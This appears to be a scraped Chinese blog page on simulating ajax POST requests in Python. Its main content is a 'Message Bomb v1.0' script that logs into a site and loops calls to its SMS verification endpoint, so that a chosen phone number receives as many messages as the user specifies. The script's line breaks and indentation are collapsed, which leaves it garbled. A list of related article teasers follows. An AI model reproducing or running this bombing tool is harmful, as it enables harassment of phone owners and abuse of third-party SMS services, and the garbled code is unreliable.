python3 模拟 ajax post请求
关键在于把头的请求类型设置成XMLHttpRequest
#-*-coding:utf-8-*-
#!/usr/bin/python#
# Message Bomb v1.0
#From: sb.f4ck.net By: xfkxfk
#import json
import urllib2
import sysdef request_ajax_url(url,body,referer=None,cookie=None,**headers):req = urllib2.Request(url)req.add_header('Content-Type', 'application/json')req.add_header('X-Requested-With','XMLHttpRequest')if cookie:req.add_header('Cookie',cookie)if referer:req.add_header('Referer',referer)if headers:for k in headers.keys():req.add_header(k,headers[k])postBody = json.dumps(body)response = urllib2.urlopen(req, postBody)if response:return responsedef run():import time"use username:xfkxfk; use password:123456"login_url = 'http://www.xx.com/member/Login.aspx'login_body = {"action":"login","UserName":"xfkxfk","Password":"123456","AutomaticLogin":False}login_referer = "http://www.xx.com/member/Login.aspx?ReturnUrl=aHR0cDovL3d3dy5sdXNlbi5jb20vRGVmYXVsdC5hc3B4"url = 'http://www.xx.com/Member/MobileValidate.aspx'referer = "http://www.xx.com/Member/ModifyMobileValidate.aspx"headers = {}response = request_ajax_url(login_url,login_body,login_referer)if response.read() == "1":print " Login Success !!!"if response.headers.has_key('set-cookie'):set_cookie = response.headers['set-cookie']else :print " Get set-cookie Failed !!! May Send Messages Failed ~~~"if len(sys.argv) < 3:print "\nUsage: python " + sys.argv[0] + "mobile_number" + "count\n"sys.exit()mobile_number = sys.argv[1]count = sys.argv[2]body = {"action":"GetValidateCode","Mobile":mobile_number}i=0while i < int(count):response = request_ajax_url(url,body,referer,set_cookie)i=i+1if response.read() == "发送成功":print " Send " + count + " Messages To " + mobile_number + " !!!"if __name__ == "__main__":run()
python3 模拟 ajax post请求相关推荐
- dva ajax请求,dva框架使用mock.js模拟数据 + fetch请求数据
what DVA? Dva是基于Redux做了一层封装,对于React的state管理,有很多方案,我选择了轻量.简单的Dva. dva 可以很方便就使用mock.js进行数据的模拟. 只需要三步,即 ...
- Python3 爬取今日头条(模拟ajax请求)
Python3 爬取今日头条(模拟ajax请求) 注:本文是跟据博主崔庆才的博客来写的,不单单是思路值得学习,还有代码规范更值得去学习.路漫漫其修远兮,吾将上下而求索. 新建一个config.py文件 ...
- Vuejs模拟Ajax请求接口(天气预报API)跨域问题 - 案例篇
vuejs的Ajax跨域请求问题一直都是前端人员开发vue项目进程中经常遇到的不得不解决的热门问题,也是个心病. 首先看一下,页面 报错内容提示: Access to XMLHttpRequest a ...
- ajax怎么模拟请求,如何模拟AJAX请求?
在端到端测试期间修改scenarios.js以模拟AJAX请求的最简单方法是什么?如何模拟AJAX请求? My Test AngularJS App angular.module('myApp', [ ...
- Python爬虫学习之API与模拟ajax请求
API的使用 --通过API向服务器请求数据 优点:简单直接,高效率地批量爬取:解决动态网页的爬取. 缺点:通过API的缺点是有些网站会限制API调用的次数和频率,用户需要付费来升级成高级用户来获取更 ...
- Python模拟Ajax请求爬取微博
一 分析请求 1 Chrome浏览器打开开发工具,然后访问https://m.weibo.cn/u/2830678474 2 一直滑动页面以加载新的微博内容.可以看到,会不断有Ajax请求发出. 3 ...
- python模拟ajax请求_短信炸弹—用Python模拟ajax请求
我们经常使用各种脚本发送网络请求,提交各种形式的body数据,所以Content-Type的类型也有很多种. 常见的取值有: application/xml : 在 XML RPC,如 RESTful ...
- Ajax异步请求(重渲染DOM元素时,如何自动调用并执行JS自定义函数【含代码】)- 案例篇
文章目录 Ajax异步请求(重渲染DOM元素时,如何自动调用并执行JS自定义函数[含代码])- 案例篇 效果截图: 重要代码: 附:全部HTML代码: Ajax异步请求(重渲染DOM元素时,如何自动调 ...
- maven工程 java 实现文件上传 SSM ajax异步请求上传
java ssm框架实现文件上传 实现:单文件上传.多文件上传(单选和多选),并且用 ajax 异步刷新,在当前界面显示上传的文件 首先springmvc的配置文件要配置上传文件解析器: 1 < ...
最新文章
- 网页视频播放开发总结
- springboot读取json文件_SpringBoot:配置文件属性读取
- 又一款超酷的 Python 可视化神器:cutecharts
- dart系列之:还在为编码解码而烦恼吗?用dart试试
- 网页版nfc_苹果5大系统升级新特性浓缩汇总!秋季5G版iPhone稳了
- IntelliJ IDEA关于logger的live template配置
- 计算机二维动画的核心技术是什么意思,数字化技术在二维动画设计中的应用研究...
- ZooKeeper分布式应用程序的分布式协调服务:概述,入门,发布版本
- 矩池云上缺少curand.h、cublas_v2.h、cusolverDn.h头文件解决方法
- 科大讯飞交通超脑荣获 2019 年大数据应用最佳实践案例 TOP10
- 代码段:js表单提交检测
- turboc7运行C测试 vc6.0测试
- ESP8266之ESP8266WebServer库学习
- mysql 局域网数据库共享,SQL Server 2005 在局域网中共享数据库
- 这个方法可以实现自动抠图,快来get
- 风控建模一、初步认识风控
- 基于PID控制的车辆LKA算法
- 从QQ音乐开发,探讨如何利用腾讯云SDK在直播中加入视频动画
- 信息系统项目管理案例分析
- 7种延迟加载javascript方法(转)